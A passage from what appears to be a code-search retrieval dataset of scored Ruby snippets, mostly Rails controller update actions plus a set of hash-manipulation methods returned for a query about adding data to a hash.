end\n end\n end", "title": "" }, { "docid": "6706e0b15a48c6b71b9f0d94b3f0ff7b", "score": "0.6023542", "text": "def update\n respond_to do |format|\n if @harvest_history.update(harvest_history_params)\n format.html { redirect_to @harvest_history, notice: 'Harvest history was successfully updated.' }\n format.json { render :show, status: :ok, location: @harvest_history }\n else\n format.html { render :edit }\n format.json { render json: @harvest_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "313e114c6fed99679003943187f2efe6", "score": "0.6020671", "text": "def update\n @h_old = @housing_detail.dup\n @h_old.save\n\n @housing_detail.status = 'Waiting for Approval'\n @housing_detail.version_id = HousingDetail.where(category_id: @h_old.category_id).maximum(:version_id) + 1\n @housing_detail.updatedby = current_user.email\n\n respond_to do |format|\n if @housing_detail.update(housing_detail_params)\n format.html { redirect_to @housing_detail, notice: 'Housing detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @housing_detail }\n else\n format.html { render :edit }\n format.json { render json: @housing_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e991143a2fac36d7f18457c977219488", "score": "0.60118234", "text": "def update\n @housing_feature = HousingFeature.find(params[:id])\n\n respond_to do |format|\n if @housing_feature.update_attributes(params[:housing_feature])\n format.html { redirect_to @housing_feature, notice: 'Housing feature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @housing_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c4b36b620fd826866a40d761803e390", "score": "0.6011371", "text": "def update\n @worked_hour.update_attributes(params[:worked_hour])\n\n respond_with(@worked_hour)\n end", "title": "" }, { "docid": "cd50cfa9f545f94901e438c98d3daa76", "score": "0.6010823", "text": "def update\r\n @scientific_work = ScientificWork.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @scientific_work.update_attributes(params[:scientific_work])\r\n format.html { redirect_to @scientific_work, notice: 'Scientific work was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @scientific_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "f2d936424a0ec6133b9d4180a6d27eb8", "score": "0.6009096", "text": "def update\n respond_to do |format|\n if @howitwork.update(howitwork_params)\n format.html { redirect_to admin_howitwork_url(@howitwork), notice: 'Howitwork was successfully updated.' }\n format.json { render :show, status: :ok, location: @howitwork }\n else\n format.html { render :edit }\n format.json { render json: @howitwork.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "084187296d3fef8fe55051424e031bba", "score": "0.6004601", "text": "def update\n respond_to do |format|\n if @work_hour.update(work_hour_params)\n format.html { redirect_to @work_hour, notice: 'Work hour was successfully updated.' }\n format.json { render :show, status: :ok, location: @work_hour }\n else\n format.html { render :edit }\n format.json { render json: @work_hour.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15348a78a33fe50390d4f796a93407f3", "score": "0.60030365", "text": "def update\n respond_to do |format|\n if @growth.update(growth_params)\n format.html { redirect_to @growth, notice: 'Growth was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @growth.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4997c7472f5467d08234c25ed94fcd9", "score": "0.6001091", "text": "def update\n respond_to do |format|\n if @hail.update(hail_params)\n format.json { render :show, status: :ok, location: @hail }\n else\n format.json { render json: @hail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a426c2b3a96a7cc3240fb889b1db0874", "score": "0.5996951", "text": "def update\n @work = Work.find(params[:id])\n\n respond_to do |format|\n if @work.update_attributes(params[:work])\n flash[:notice] = 'Work was successfully updated.'\n format.html { redirect_to(@work) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @work.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b0d216f72caf2a54c37b8737abbe02d5", "score": "0.59946454", "text": "def update\n respond_to do |format|\n if @housing.update(housing_params)\n format.html { redirect_to @housing, notice: 'Housing was successfully updated.' }\n format.json { render :show, status: :ok, location: @housing }\n else\n format.html { render :edit }\n format.json { render json: @housing.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "51b807f56453a7ade181a3cffaafabc0", "score": "0.5987988", "text": "def update\n respond_to do |format|\n if @rh.update(rh_params)\n format.html { redirect_to @rh, notice: 'Rh was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rh.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9c622aeeb146160ffd6a6f87e88a05ac", "score": "0.5984297", "text": "def update\n respond_to do |format|\n if @item_history.update(item_history_params)\n format.html { redirect_to @item_history, notice: 'Item history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6771ffe61d4d0c7570574bfa3bd5cc6a", "score": "0.59776723", "text": "def update\n @work.update_attributes(work_params)\n if save_and_flash(@work)\n redirect_to work_path(@work)\n return\n else\n render :edit, status: :bad_request\n return\n end\n end", "title": "" }, { "docid": "3d3d0140510526494a189f9510ab7e71", "score": "0.5977038", "text": "def update\n respond_to do |format|\n if @weekly_histogram.update(weekly_histogram_params)\n format.html { redirect_to @weekly_histogram, notice: 'Weekly histogram was successfully updated.' }\n format.json { render :show, status: :ok, location: @weekly_histogram }\n else\n format.html { render :edit }\n format.json { render json: @weekly_histogram.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "158807a4c77911b28e65fbbaef8fe3ac", "score": "0.5966676", "text": "def update\n respond_to do |format|\n if @water_history.update(water_history_params)\n format.html { redirect_to @water_history, notice: 'Water history was successfully updated.' }\n format.json { render :show, status: :ok, location: @water_history }\n else\n format.html { render :edit }\n format.json { render json: @water_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "24cc5cc7943ee197e9f5242a2c4564cc", "score": "0.59626055", "text": "def update\n @harvesting = Harvesting.find(params[:id])\n\n respond_to do |format|\n if @harvesting.update_attributes(params[:harvesting])\n format.html { redirect_to @harvesting, notice: 'Harvesting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @harvesting.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63f7af79fc170063fe31f54b55d65e7c", "score": "0.59573257", "text": "def update\n streak, success = jsonapi_update.to_a\n\n if success\n render_jsonapi(streak, scope: false)\n else\n render_errors_for(streak)\n end\n end", "title": "" }, { "docid": "42d71c8a2c02f9ee28db29c06535ebe5", "score": "0.5954466", "text": "def update\n respond_to do |format|\n if @history.update(history_params)\n format.html { redirect_to @history, notice: 'History was successfully updated.' }\n format.json {\n render 'show', format: 'json', handlers: 'jbuilder', status: :ok\n }\n else\n format.html { render :edit }\n format.json { render json: @history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "36006f554e03c88811ce50de4cf1f00b", "score": "0.59532785", "text": "def update\n @work_log.minutes = params[:work_log][:hours].to_i*60+params[:work_log][:mins].to_i\n respond_to do |format|\n if @work_log.update(work_log_params)\n format.html { redirect_to @work_log, notice: 'Work log was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @work_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39dca7937438fbfd1fddf2cfd83e888a", "score": "0.5952894", "text": "def update\r\n @stages_work = StagesWork.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @stages_work.update_attributes(params[:stages_work])\r\n format.html { redirect_to @stages_work, notice: 'Stages work was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @stages_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "3941147b047c08dda461168af0595058", "score": "0.595265", "text": "def update\n respond_to do |format|\n if @housing.update(housing_params)\n format.html {\n redirect_to housings_url, notice: 'Housing was successfully updated.' }\n format.json {\n render json: {}, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @housing.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1aafc564f06f80bcc013e2238f99b65d", "score": "0.5946227", "text": "def update\n @specialty = Specialty.find(params[:id])\n\n if @specialty.update(specialty_params)\n head :no_content\n else\n render json: @specialty.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3b4ce64cb42027774d57ae050a558345", "score": "0.5945033", "text": "def update\n respond_to do |format|\n if @workhour.update(workhour_params)\n format.html { redirect_to @workhour, notice: 'Workhour was successfully updated.' }\n format.json { render :show, status: :ok, location: @workhour }\n else\n format.html { render :edit }\n format.json { render json: @workhour.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40798aebc44173ce4683414761103497", "score": "0.5943996", "text": "def update\n @holy_book = HolyBook.find(params[:id])\n\n respond_to do |format|\n if @holy_book.update_attributes(params[:holy_book])\n format.html { redirect_to @holy_book, notice: 'Holy book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @holy_book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "50bded545a63f526c8d78b55dd019e9c", "score": "0.5942341", "text": "def update\n\n @laboratory = Laboratory.find(params[:id])\n\n if @laboratory.update!(laboratory_params)\n render json: @laboratory\n else \n render json: @laboratory.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a7b695605e13f9688bac9961aee673bf", "score": "0.5938283", "text": "def update\n respond_to do |format|\n if @haircut.update(haircut_params)\n format.html { redirect_to @haircut, notice: 'Haircut was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @haircut.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c6c737848d2ef01ce02d4d24d54435f", "score": "0.5919754", "text": "def update\n respond_to do |format|\n if @foodhistory.update(foodhistory_params)\n format.html { redirect_to @foodhistory, notice: 'Foodhistory was successfully updated.' }\n format.json { render :show, status: :ok, location: @foodhistory }\n else\n format.html { render :edit }\n format.json { render json: @foodhistory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e9d000cbc5deeebdef7ac832a5bf533", "score": "0.591822", "text": "def update\n respond_to do |format|\n if @works_item.update(work_params)\n format.html { redirect_to works_url, notice: 'Work Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @works_item}\n else\n format.html { render :edit }\n format.json { render json: @works_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "849e0c8434445b11a85d21b1ba1172dc", "score": "0.5912942", "text": "def update\n @homework = Homework.find(params[:id])\n\n respond_to do |format|\n if @homework.update_attributes(params[:homework])\n format.html { redirect_to(@homework, :notice => 'Homework was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @homework.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "12f6ba3826b96c844a3aee2a4b939a2d", "score": "0.5912389", "text": "def update\r\n @second_work = SecondWork.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @second_work.update_attributes(params[:second_work])\r\n format.html { redirect_to @second_work, notice: 'Second work was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @second_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "80118e38a8b1c11656696c58c98b45a2", "score": "0.59016347", "text": "def update\n @work_item = set_work\n\n respond_to do |format|\n if @work_item.update(params.require(:work).permit(:title, :subtitle, :body))\n format.html { redirect_to works_path, notice: 'work was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "3287a5821e0960f9924307657f9e315b", "score": "0.5900051", "text": "def update\n job = Job.find(params[:id])\n job.update_attributes(job_params)\n render json: job\n end", "title": "" }, { "docid": "d6fca20a1b3fa6595f3db4564f456ec2", "score": "0.58983374", "text": "def update\n respond_to do |format|\n if @work_exp.update(work_exp_params)\n format.html { redirect_to @work_exp, notice: 'Work exp was successfully updated.' }\n format.json { render :show, status: :ok, location: @work_exp }\n else\n format.html { render :edit }\n format.json { render json: @work_exp.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "131a007d7cb7773d08e1621ede491786", "score": "0.58970535", "text": "def update\n @report = Report.find(params[:report_id])\n @work_item = WorkItem.find(params[:id])\n\n respond_to do |format|\n if @work_item.update_attributes(params[:work_item])\n format.html { redirect_to @report, notice: 'Work item was successfully updated.' }\n format.json { render json: @work_item, status: :ok, location: [@report, @work_item] }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b7721282559510601f0cd5ae30361ca", "score": "0.589578", "text": "def update\n historial_params = params[:historial]\n with_bill = historial_params.delete(:with_bill)\n @historial = Historial.find(params[:id])\n\n respond_to do |format|\n if @historial.update_attributes(historial_params)\n if with_bill.present?\n format.html { redirect_to new_bill_path(\n client_id: @historial.cliente_id,\n historial_id: @historial.id\n ), notice: 'Presupuesto actualizado =)'}\n else\n format.html { redirect_to @historial, notice: 'Presupuesto actualizado =)' }\n end\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f61e7d2fe22aceb177ade87bfdb09a78", "score": "0.58903056", "text": "def update\n respond_to do |format|\n if @art_work.update(art_work_params)\n format.html { redirect_to @art_work }\n format.json { render :show, status: :ok, location: @art_work }\n else\n format.html { render :edit }\n format.json { render json: @art_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "55dc679e8ae9ab08f7fe5756be21b439", "score": "0.588913", "text": "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end", "title": "" }, { "docid": "4727063fd6270927bffb5f65b4a41886", "score": "0.5881127", "text": "def update\n respond_to do |format|\n if @workfile.update(workfile_params)\n format.html { redirect_to @workfile, notice: 'Workfile was successfully updated.' }\n format.json { render :show, status: :ok, location: @workfile }\n else\n format.html { render :edit }\n format.json { render json: @workfile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc453b19829e61376314d1aa64cd38a9", "score": "0.5880136", "text": "def update\n respond_to do |format|\n if @workpermit.update(workpermit_params)\n format.html { redirect_to @workpermit, notice: 'Workpermit was successfully updated.' }\n format.json { render :show, status: :ok, location: @workpermit }\n else\n format.html { render :edit }\n format.json { render json: @workpermit.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc085dfd994abd414231bedba015efa5", "score": "0.5873207", "text": "def update\n respond_to do |format|\n if @weight_history.update(weight_history_params)\n format.html { redirect_to @weight_history, notice: \"Weight history was successfully updated.\" }\n format.json { render :show, status: :ok, location: @weight_history }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @weight_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c70438e192c11b858d93abb1714ce090", "score": "0.58720106", "text": "def update\n @reading_history = current_user.reading_histories.find(params[:id])\n\n respond_to do |format|\n if @reading_history.update_attributes(params[:reading_history])\n data_new = params[:reading_history]\n format.html { redirect_to data_new[\"html_path\"], notice: data_new.to_s }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reading_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71b2af2c41cbe720a873b7d54ea6cea9", "score": "0.5864234", "text": "def update\n respond_to do |format|\n if @thermostat_history.update(thermostat_history_params)\n format.html { redirect_to @thermostat_history, notice: 'Thermostat history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @thermostat_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b305a6f3b611f003b19173c577a599eb", "score": "0.5852958", "text": "def update\n authorize @employment\n respond_to do |format|\n\n if @employment.update(employment_params)\n format.html { redirect_to openings_path, notice: 'Employment was successfully updated.' }\n format.json { render :show, status: :ok, location: @employment }\n else\n format.html { redirect_to openings_path }\n format.json { render json: @employment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1283d0c31e6e0c6a180ee68444d5697d", "score": "0.5851591", "text": "def update\n respond_to do |format|\n if @art_work.update(art_work_params)\n format.html { redirect_to @art_work, notice: 'Art work was successfully updated.' }\n format.json { render :show, status: :ok, location: @art_work }\n else\n format.html { render :edit }\n format.json { render json: @art_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b76ed9292b5e39fcf1fb816a35fdff02", "score": "0.5849422", "text": "def update\n respond_to do |format|\n if @borrow_history.update(borrow_history_params)\n format.html { redirect_to @borrow_history, notice: 'Borrow history was successfully updated.' }\n format.json { render :show, status: :ok, location: @borrow_history }\n else\n format.html { render :edit }\n format.json { render json: @borrow_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67947a9fd4706a5b602e0d96696d3dde", "score": "0.5847036", "text": "def update\n respond_to do |format|\n if @work_step.update(work_step_params)\n format.html { redirect_to @work_plan, notice: 'Work step was successfully updated.' }\n format.json { render :show, status: :ok, location: @work_plan }\n else\n format.html { render :edit }\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a58668820553a17d31e2cc77feeda8ea", "score": "0.58443713", "text": "def update\n @hit = Hit.find(params[:id])\n\n respond_to do |format|\n if @hit.update_attributes(params[:hit])\n format.html { redirect_to @hit, notice: 'Hit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hit.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f1ca545f24d9b8ad37a5cfba91d6d4a6", "score": "0.5839623", "text": "def update\n respond_to do |format|\n if @bmet_labor_hour.update(bmet_labor_hour_params)\n format.html { redirect_to @bmet_labor_hour.bmet_work_order, notice: 'Bmet Labor Hour was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bmet_labor_hour.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
1d5dd9d73c82710bf18df11b17546dae
Access/Modify data in hash Add new data to hash
[ { "docid": "13269db175976ec05561cdec1c4ced37", "score": "0.0", "text": "def new_hash\n new = {}\n return new\nend", "title": "" } ]
[ { "docid": "4ae9c87a0bde2592e6ec9fd19454ae08", "score": "0.7498526", "text": "def update(hash); end", "title": "" }, { "docid": "d108f2a65c0ccb4090e3c90c4286495f", "score": "0.7183903", "text": "def add_data!(hash, key, data)\n return if data.nil?\n\n hash[key] = data\n nil\n end", "title": "" }, { "docid": "e2addb6c2894669c6b402474b1d3efce", "score": "0.70667565", "text": "def add(hash); end", "title": "" }, { "docid": "e2addb6c2894669c6b402474b1d3efce", "score": "0.70667565", "text": "def add(hash); end", "title": "" }, { "docid": "a6549d68c0dcd97e647a0e41ed34792a", "score": "0.6890171", "text": "def update(other_hash, &blk); end", "title": "" }, { "docid": "cc2a1ddfe1d9afe298ebe19d267d3dfe", "score": "0.68871593", "text": "def add_data(key,value)\n update(self.value.merge({key => value}))\n end", "title": "" }, { "docid": "cd6aaf74825d789b0bad570b2a340723", "score": "0.6788539", "text": "def update(hash) hash.each {|k, v| self[k] = v }; self end", "title": "" }, { "docid": "c5d23775c5814cf08fc7801b3237c8c8", "score": "0.67199385", "text": "def set_hash_data(input)\n\t\t\t\t@data_hash = input;\n\tend", "title": "" }, { "docid": "a12d18e3a9b86c899d52c5b4a9ebbf42", "score": "0.6663474", "text": "def add_item(item, hash)\n hash[item] = 1\n hash \nend", "title": "" }, { "docid": "b8bec3ec2ff85bb95f4a7d67c952409f", "score": "0.6640298", "text": "def addData(key, value)\n key_map = key.split(\":\")\n is_root = true\n current_it = @data\n last_key = key_map.last\n key_map.each do |it|\n if(current_it.key?(it))\n raise \"This key already used as ['#{key}' => '#{current_it[it].to_s}']\" if it == last_key\n current_it = current_it[it]\n else\n if(it == last_key)\n current_it[it] = value\n else\n current_it[it] = Hash.new\n current_it= current_it[it]\n end\n end\n end\n end", "title": "" }, { "docid": "6e29fa8b5d695dc4fcbca3b8dd3d52b9", "score": "0.6637223", "text": "def update(data)\n Botan.call_ffi(:botan_hash_update, @ptr, data, data.bytesize)\n self\n end", "title": "" }, { "docid": "b38f5fa0d03e830be42fc0733d6dafaa", "score": "0.66168267", "text": "def my_hash_modification_method!(source, thing_to_modify)\n modded_hash = source.update(source){|k, v| v + thing_to_modify}\n p modded_hash\nend", "title": "" }, { "docid": "1f2dbcb0ab4cfa025742268e847bf913", "score": "0.6615719", "text": "def put new_data, match_key\n remove_if { |i| i[match_key] == new_data[match_key] }\n push new_data\n end", "title": "" }, { "docid": "97bc2edaf7b69f38d5380f86bac54abd", "score": "0.65228546", "text": "def update(hash)\n super(hash.to_hash)\n end", "title": "" }, { "docid": "179c64b3e7bbb309d47a4e3ca007e4b5", "score": "0.64586", "text": "def data=(hash); self[:data] = hash.to_json end", "title": "" }, { "docid": "4eb2a26c5eb408db6726cac4751c389f", "score": "0.6446612", "text": "def update(item, new_q, hash)\n hash[item]=new_q\n print hash\nend", "title": "" }, { "docid": "aaf8a0308e30c3917715b0c37ae6ea53", "score": "0.64444715", "text": "def my_hash_modification_method!(source, thing_to_modify)\n\n source.each_pair { |key, value| source[key] = value + thing_to_modify}\n\n return source\n\nend", "title": "" }, { "docid": "f60f902f71b98786b547716352d98e6c", "score": "0.6427897", "text": "def my_hash_modification_method!(my_family_pets_ages, thing_to_modify)\n my_family_pets_ages.each do |key, value|\n my_family_pets_ages[key] = value + thing_to_modify\n end\nend", "title": "" }, { "docid": "683289131ca516977068fa7a1c2c2bba", "score": "0.641658", "text": "def update(hash)\n hash.each do |pair|\n self << pair\n end\n end", "title": "" }, { "docid": "881d6afed1438a4b96cb4819a0d86f3d", "score": "0.6416445", "text": "def update data_file, torrent\n data_file[torrent.info_hash] = torrent.bitfield\nend", "title": "" }, { "docid": "2715a1e404a3c13750ec7894d20f1344", "score": "0.6406371", "text": "def append_h(field, hash)\n @fields_update[field] = @fields_current[field] if (@fields_update[field] == nil)\n @fields_update[field] = Hash.new if !(@fields_update[field].is_a? Hash)\n @fields_update[field].merge!(hash)\n end", "title": "" }, { "docid": "af2dbc6ff788a6b513c56a10e378d9af", "score": "0.6397781", "text": "def update (hash, item, quantity= 0)\n\thash[item] = quantity\nreturn hash\nend", "title": "" }, { "docid": "9d51f1a032d170fc458345d88753ae60", "score": "0.6390974", "text": "def my_hash_modification_method!(source, thing_to_modify)\n# source = Hash[source.map {|k,v| [k, thing_to_modify + v ]}]\n source.each do |key, value|\n source[key] = value + thing_to_modify\n end\nend", "title": "" }, { "docid": "9c36f23d5bcb641c300b133b2129c7da", "score": "0.63871485", "text": "def my_hash_modification_method!(hash, years_passed)\n hash.each_pair do |petname, age|\n age += years_passed\n hash[petname] = age\n end\n p hash\n return hash\nend", "title": "" }, { "docid": "459f0a27c933b0ea144fcf8df6b9b9ec", "score": "0.63658917", "text": "def add_new_holiday_with_supplies(hash, season, holiday_name, supply_array)\n hash.update({\n season => {\n holiday_name => supply_array\n }\n }).rehash\nend", "title": "" }, { "docid": "56b87e7b0811cc2034775d2ff4415fc0", "score": "0.6356082", "text": "def write(data)\n push Hash[data.map { |key, val| [key, change(val)] }]\n end", "title": "" }, { "docid": "92fd034e60dfddb768b5dd98f55e3af6", "score": "0.635497", "text": "def my_hash_modification_method!(source, thing_to_modify)\n source.each {|k, v| source[k] = v + thing_to_modify}\nend", "title": "" }, { "docid": "e42b6d0ea1c20494aab250ee255834bd", "score": "0.63470453", "text": "def add_hash(hash)\n\t# add hash to the DB\nend", "title": "" }, { "docid": "5822f33b602afe9b77ae52d4cd327255", "score": "0.6345923", "text": "def my_hash_modification_method!(source, thing_to_modify)\n source.each do |key, value|\n source[key] = value + thing_to_modify\n end\nend", "title": "" }, { "docid": "262457eee8dd218056031c6c5f0d19b6", "score": "0.6339584", "text": "def update(item, quantity, hash)\n hash[item] = quantity\n hash\nend", "title": "" }, { "docid": "e87ad321ae84e5f31425644b5af75c11", "score": "0.63391256", "text": "def add_pet_to_stock(petshop_hash, new_pet_hash)\n petshop_hash[:pets] << new_pet_hash\nend", "title": "" }, { "docid": "14aedeea3040a0076dc8263fd760c017", "score": "0.63370216", "text": "def update(hash)\n shash = {}\n hash.each { |key, value| shash[@serializer.key_for(key)] = value }\n @journal << shash\n @table.update(shash)\n self\n end", "title": "" }, { "docid": "e384bc8376e59e53a31d36e0b461a39f", "score": "0.63332415", "text": "def append(key, data, bytes)\n check_exp_time(key)\n bucket = @mc_thread_safe.get_mutex_segment(key.to_s)\n if bucket.hash.has_key?(key)\n bucket.lock.synchronize{\n old_item = bucket.hash[key]\n new_data = \"#{old_item.data}#{data}\"\n new_bytes = old_item.bytes + bytes\n item = CacheDataType.new(old_item.key, new_data, old_item.flags, old_item.exp_time, new_bytes, get_cas_id)\n bucket.hash.store(key, item)\n }\n Response::STORED\n else\n Response::NOT_STORED\n end\n end", "title": "" }, { "docid": "e6f58605b78ebcb158d3f68740a6459f", "score": "0.63296086", "text": "def aoh_update (aoh, row, key, new_value) \n aoh[row][key] = new_value\n return aoh\nend", "title": "" }, { "docid": "5d4ddbac3e5536b8d4bb99564dfabf90", "score": "0.6323689", "text": "def my_hash_modification_method!(source, thing_to_modify)\n source.map do |k, v|\n source[k] = v += thing_to_modify\n end\n return source\nend", "title": "" }, { "docid": "17e8bec09f3f4a9f6d76bc4910377d39", "score": "0.631826", "text": "def update(hash)\n shash = {}\n hash.each do |key, value|\n shash[@serializer.key_for(key)] = value\n end\n @journal << shash\n @table.update(shash)\n self\n end", "title": "" }, { "docid": "fe4196ad52f8ab6592e891f2e0a6d2f6", "score": "0.6313924", "text": "def update_quantity(hash, item_name, quantity)\r\n hash[item_name] = quantity\r\n p hash\r\nend", "title": "" }, { "docid": "7bde71ce1a0886271cbeb1f7915a5a1b", "score": "0.63135123", "text": "def data=(hash)\n data.mass_assign(hash)\n end", "title": "" }, { "docid": "32f33245b5e01b2faccfbeb6532c5d03", "score": "0.63027537", "text": "def update(hash)\n hash.each do |pair|\n self << pair\n end\n end", "title": "" }, { "docid": "0567c14465f4293a997d92099972c02a", "score": "0.62978554", "text": "def update_data(new_data)\n @name = new_data[:name] || new_data['name'] || @name\n @hoist = new_data['hoist'] unless new_data['hoist'].nil?\n @hoist = new_data[:hoist] unless new_data[:hoist].nil?\n @colour = new_data[:colour] || (new_data['color'] ? ColourRGB.new(new_data['color']) : @colour)\n end", "title": "" }, { "docid": "0567c14465f4293a997d92099972c02a", "score": "0.62978554", "text": "def update_data(new_data)\n @name = new_data[:name] || new_data['name'] || @name\n @hoist = new_data['hoist'] unless new_data['hoist'].nil?\n @hoist = new_data[:hoist] unless new_data[:hoist].nil?\n @colour = new_data[:colour] || (new_data['color'] ? ColourRGB.new(new_data['color']) : @colour)\n end", "title": "" }, { "docid": "3733bf0f5d4d8db7bef91c2e722f0404", "score": "0.6294986", "text": "def hash_add (hash, key, value)\r\n\t\tif hash.has_key? key\r\n\t\t\thash[key] << value\r\n\t\telse\r\n\t\t\thash[key] = value\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "8f3383e1a8da670e717e3543c415cc7d", "score": "0.6293458", "text": "def add_data(input)\n if input.class == Hash\n @data << input\n else\n @data = input\n end\n end", "title": "" }, { "docid": "953dd1d35531c157e39aec9ea940a0f4", "score": "0.6289832", "text": "def add_pet_to_stock(pet_shop_hash, new_pet_hash)\n pet_shop_hash[:pets] << new_pet_hash\nend", "title": "" }, { "docid": "c5b989729757ac503f724e0105d2944e", "score": "0.627179", "text": "def my_hash_modification_method!(source, thing_to_modify)\n\n source.each do |pet,age|\n source[pet] = age + thing_to_modify\n end\n return source\nend", "title": "" }, { "docid": "c835f865e398ef3a9d9bb2ed683470ef", "score": "0.6268546", "text": "def update!(hash)\n update(hash)\n @journal.flush\n end", "title": "" }, { "docid": "add54423c72cb23b0ca6e4a8c2b1fd68", "score": "0.62618184", "text": "def update!(hash)\n update(hash)\n @journal.flush\n end", "title": "" }, { "docid": "f3d6b00646bb556f784a448e6d2922e3", "score": "0.6261235", "text": "def add_hash(new_hash)\n formatted_new = {}\n\n new_hash.each_pair do |k, v|\n v = v.split(' ') if v.is_a? String\n\n formatted_new[k.to_sym] = v\n end\n\n @content.merge!(formatted_new) do |_key, oldval, newval|\n oldval.concat(newval)\n end\n\n self\n end", "title": "" }, { "docid": "e67932d35cfb3d1116cbaa86f7ef5de7", "score": "0.6240061", "text": "def apply_data(t:, h:, k:)\n # If new data nil, or current data a string, do not modify\n return t if (h[k].nil? or t[k].is_a?(String))\n # If old data nil, overwrite with new and return\n if t[k].nil?\n t[k] = h[k]\n return t\n end\n hkc = h[k].is_a?(String) ? [h[k]] : h[k]\n # Map over the new data and push to old if not already present\n hkc.map{|hk| t[k] << hk if not t[k].any?(hk)}\n return t\nend", "title": "" }, { "docid": "4c3a1f057350424a77e22dc68c2b2d5c", "score": "0.62373805", "text": "def deep_update(other_hash, &blk); end", "title": "" }, { "docid": "7245dc63966e056446df8f57371563a5", "score": "0.6232825", "text": "def my_hash_modification_method!(source, years_to_add)\n source.each do |name, old_age|\n source[name] = old_age + years_to_add\n end\n return source\nend", "title": "" }, { "docid": "7245dc63966e056446df8f57371563a5", "score": "0.6232825", "text": 